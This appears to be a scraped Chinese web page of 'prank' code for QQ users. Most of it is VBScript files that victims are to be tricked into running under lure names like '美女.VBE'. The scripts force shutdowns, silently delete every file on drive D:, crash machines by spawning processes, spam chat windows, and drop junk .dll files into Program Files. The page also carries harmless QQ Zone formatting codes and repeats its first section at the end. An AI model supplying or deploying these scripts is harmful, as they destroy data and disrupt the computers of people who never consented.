本文目录一览：
手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
我要QQ聊天的恶搞代码
首先你在要建一个文本文档（在桌面点右键
--
新建
--
文本文档）把下面的你想要的代码复制
到文本文档
好
保存
把名字
txt
改成
vbs
就
OK
vbs
整人代码大集合
一、
你打开好友的聊天对话框
,
然后记下在你
里好友的昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送
信息到好友的次数
(
代码里的数字
10
改一下即可
).
xx.vbs=
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("
与
xx
聊天中
")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
骚扰信息
,
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
五、删除
D:\
所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "
哈哈
你被耍了！
"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
七、不断按下
alt+f4
（开什么都关闭„„）
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
八、按
500
次回车
(
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
，
500
可以随意更改
)
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "
哥们，给我按
500
次回车吧
",64
loop
'------------------------ ------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo("
嘿，谢谢你打开我哦，我等你很久
拉！
"TSName)
WScript.Echo("
你是可爱的小朋吗
?")
WScript.Echo("
哈
,
我想你拉，这你都不知道吗？
")
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
[color=#FF0000]
复制以这个代码，在桌面建一个文本，把代码放进去，另存为
VBS
格式，
此代码的威力：
1
：开机就强制自动关机
2
：
cmd
命令打不开
3
：结束任务不管用
4
：
F8
安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第
2
次保存的那个
VBE
文件，
，
PS
：不要乱拿软件去整人，发生什么事可不要怪我啊。
。
拍拍手
顶起吧！
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
恐怖啊
整人
小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'
声明变量，其中“
count
”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'
定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'
生成文件的内容
nr = "
哈哈，被黑的感觉的不错吧
"
files = FreeFile
'
如果
a
等于
a
那么就执行
If a = a Then
'count
不断的加
1
，以便产生不同的文件名
count = count + 1
'
产生文件名及文件句柄，并用
count
作为产生不同的文件名。
Open c "system" count ".dll" For Append As #files
'
向文件写内容
Write #files, nr
'
清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub
最新QQ空间霸屏代码
彩色霸屏
[B][M][fts=5][ftc=#EE1D24]◇[ftc=#ffffff]U[fts=4][ftc=#EE1D24]p[fts=5][ftc=#ffffff]！[fts=4][ftc=#EE1D24]u[fts=5][ftc=#ffffff]P[fts=4][ftc=#EE1D24]！[fts=5][ftc=#ffffff]◇
[fts=6][ftc=#ffffff]I
[fts=3][ftc=#EE1D24]＊ [fts=6][ftc=#ffffff]Love
[fts=6][ftc=#ffffff]Y ou [fts=5][ftc=#EE1D24]＊
[fts=5][ftc=#EE1D24]▄▄▄▄▄▄▄▄▄▄▄▄▄▄【【▄
▇▇▇▇▇▇▇▇▇▇▇▇▇▇◣◢▇
[/img]
[fts=5][ftc=#EE1D24]●○[ftc=#ffffff]●○[ftc=#EE1D24]●○[ftc=#ffffff]●○[ftc=#EE1D24]●○[ftc=#ffffff]●○[ftc=#EE1D24]●○[ftc=#ffffff]●○[ftc=#EE1D24]●○
[fts=4][ftc=#ffffff]`★
▕━━━━━━━━━━┑
╱jB是一样的jB/ 、＊
[fts=4][ftc=#EE1D24] ’长[ftc=#ffffff]相分[ftc=#EE1D24]高[ftc=#ffffff]低…
┗━━━━━━━━━━|
[fts=5][ftc=#EE1D24]≥●跪丅[ftc=#ffffff]给劳资请咹
qq空间伤感霸屏留言代码
[M][fts=6][ftf=wingdings][ftc=F49BC1][/ft][/ft][/ft][/M][M][ffg,2F3192,FFFFFF]如果[/ft][ftc=EF6EA8]ωǒ[/ft]爱上你鍀[ffg,00BFF3,FFFFFF]笑容[/ft]
要[ftc=EE1D24]怎麽[/ft][ftc=2F3192]收藏怎麽[/ft][ftc=00A650]拥铕[/ft]
如果你[ftc=EE1000]快乐[/ft]不是为[fts=3][ftc=91278F]ωǒ[/ft][/ft]
[ftc=652C91]譮鈈譮[/ft][ftc=F7941D][fts=5]放手[/ft][/ft]其实才是[ftc=2F3192]拥铕[/ft]
[/ft][/ft][ffg,ED008C,FFFFFF]┄┄┄┄┄┄┄┄┄┄┄┄┄┄[fts=6][ftf=wingdings]![/ft][/ft][M][B][/ft]
QQ空间互踩霸屏留言代码
[M] [fts=6][ftc=#FCE0E2] ╪°[/ft][/ft][/M]
[M][ftc=#EF6EA8]°谁[/ft][ftc=#FCE0E2]徥谁德谁[/ft][/M]
[M][ftc=#FCE0E2] 谁[/ft][ftc=#EF6EA8]辜[/ft][ftc=#FCE0E2]负肋谁[/ft][/M]
[M][ftc=#FCE0E2] 谁把[/ft][ftc=#EF6EA8]谁[/ft][ftc=#FCE0E2]当真[/ft][/M]
[M][ftc=#FCE0E2] 谁寔谁[/ft][ftc=#EF6EA8]德[/ft][ftc=#FCE0E2]谁[/ft][/M]
[M][ftc=#FCE0E2] 谁被谁遗[/ft][ftc=#EF6EA8]莣[/ft][/M]
[M][ftc=#EF6EA8] 谁[/ft][ftc=#FCE0E2]卜属于谁[/ft][/M]
[M][ftc=#FCE0E2] 谁[/ft][ftc=#EF6EA8]后[/ft][ftc=#FCE0E2]悔爱谁[/ft][/M]
[M][ftc=#EF6EA8] 谁嘟卜s’谁啲谁[/ft][/M]
[M][ftc=#FCE0E2]━━━━━━━━━━━━━━━│°终化成气萢 .闪闪夺目 .． .°|━━━━━━━━━━━━━━━[/ft][/M]
[M][B][ftc=#EF6EA8] 「°做自己、让自己婞諨 ★.」[/ft]
[M]
[ffg,#37B400,#000000][fts=6]*[/ft][/ft]
[ftc=#FFFAFA]▂▂▂▂▂▂▂▂▂▂[/ft]
[ftc=#00A650]══════════[/ft]
[ftc=#444444][fts=3]hear into my heart
feel how deep i love you
[/ft][/ft]
[ftc=#00A650][fts=2]走过喧闹[/ft][/ft][ftc=#FFFAFA][fts=4]繁华[B][ftc=#00A650][fts=2]的街[/ft][/ft]
[ftc=#FFFAFA][fts=2]才[/ft][/ft][ftc=#00A650][fts=4]知道[/ft][/ft][ftc=#FFFAFA][fts=2]梦早已苏醒[/ft][/ft][M]
[R][ftc=#FFFAFA][fts=6]*、[/ft][/ft][ftc=#00A650][fts=4]苝[/ft][/ft][ftc=#444444][fts=3]畀[/ft][/ft]
[ftc=#FFFAFA][fts=2]堔罙[/ft][/ft][ftc=#00A650][fts=5]乃[/ft][/ft][ftc=#FFFAFA][fts=2]伱[/ft][/ft]
[ftc=#FFFAFA][fts=2]永[B][ftc=#00A650][fts=2]远[/ft][/ft][/R]
[/url]
[Copy to clipboard] [ - ]
CODE:
[R][B][fts=6][ftc=#ED008C]*[/ft][/ft][B][fts=3][ftc=#EE1D24]B[ftc=#9B30FF]a[ftc=#00AEEF]b[ftc=#FF33FF]y![/ft][/ft][/ft][/ft][/ft]
[ftc=#EE1D24]·┉
[ftc=#9B30FF]·┉[ftc=#FF33FF]·┉
[ftc=#FFF100]·┉[ftc=#00AEEF]·┉[ftc=#0011ee]·┉
[ftc=#0011ee]·┉[ftc=#FFF100]·┉[ftc=#00AEEF]·┉
[ftc=#FF33FF]·┉[ftc=#9B30FF]·┉
[ftc=#37B400]·┉
[ftc=#00A650]╰'宁[ftc=#F79700]愿,[ftc=#00AEEF]丑[ftc=#FFF100]菂[ftc=#91278F]别[ftc=#8FC63D]致～＊
[ftc=#00AEEF]╰'八[ftc=#FF33FF]愿,[ftc=#EE1D24]羙[ftc=#0011ee]菂[ftc=#9B30FF]雷[ftc=#37B400]同°、
[B][ffg,#Aqua,#0000ff]╰亲a!嘚、
╰'除勒伱、藕谁蔸吥想偠゛[/ft][M][ftc=#FFF100]
[Copy to clipboard] [ - ]
CODE:
?〇[ftc=#EE1D24]h
[M][U][M][fts=6][ftc=#555555]*[/ft][/ft][B][ftc=#222222]° [ftc=#EE1000].[/ft]’丠鼻.[/ft][ftc=#333333]丶[/ft]
[ftc=#222222]◎[/ft][ftc=#444444]⊙[/ft].[ftc=#555555]Mu[/ft][ftc=#666666]Ma、
[/ft][ftc=#222222]?[/ft][ftc=#EE1000].[/ft][ftc=#333333]深[/ft][ftc=#444444]吻。[/ft][ftc=#555555]
[ftc=#222222]尔.[ftc=#333333]要[ftc=#EE1000].[ftc=#222222]幸[ftc=#333333]福[ftc=#444444].宝[ftc=#555555]贝
[/ft] [/M]
[M][/M]
[B][M][fts=6][ffg,#FFF100,#100000]゛`Up丶[/ft][/ft]
手机qq整人代码大全谁有？ 发一下 谢谢
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
